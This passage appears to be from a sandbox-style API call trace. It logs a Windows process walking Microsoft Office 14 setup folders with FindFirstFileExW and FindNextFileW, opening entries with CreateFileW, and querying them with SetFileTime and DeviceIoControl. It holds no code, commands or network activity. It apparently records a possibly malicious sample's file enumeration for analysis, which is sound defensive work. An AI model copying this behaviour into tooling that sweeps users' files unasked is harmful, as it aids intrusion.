lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.389] GetLastError () returned 0x12 [0236.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.389] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.390] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0236.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0236.406] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x909868 [0236.406] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x909868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x909868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909868) returned 1 [0236.406] NtClose (Handle=0x1b4) returned 0x0 [0236.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.406] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.406] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.406] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908cd8 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x908098 [0236.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.407] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908cf8 [0236.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9081a0 [0236.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.407] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.407] GetLastError () returned 0x12 [0236.407] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.407] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.407] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.407] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0236.407] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.407] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.407] GetLastError () returned 0x12 [0236.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.407] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.408] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.408] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.408] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0236.408] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0236.532] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.532] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x909868 [0236.532] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x909868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x909868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.532] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909868) returned 1 [0236.532] NtClose (Handle=0x1b8) returned 0x0 [0236.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.533] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.533] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.533] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908d18 [0236.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9082a8 [0236.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.533] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0236.533] GetLastError () returned 0x12 [0236.533] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.533] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.534] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.534] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0236.534] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, 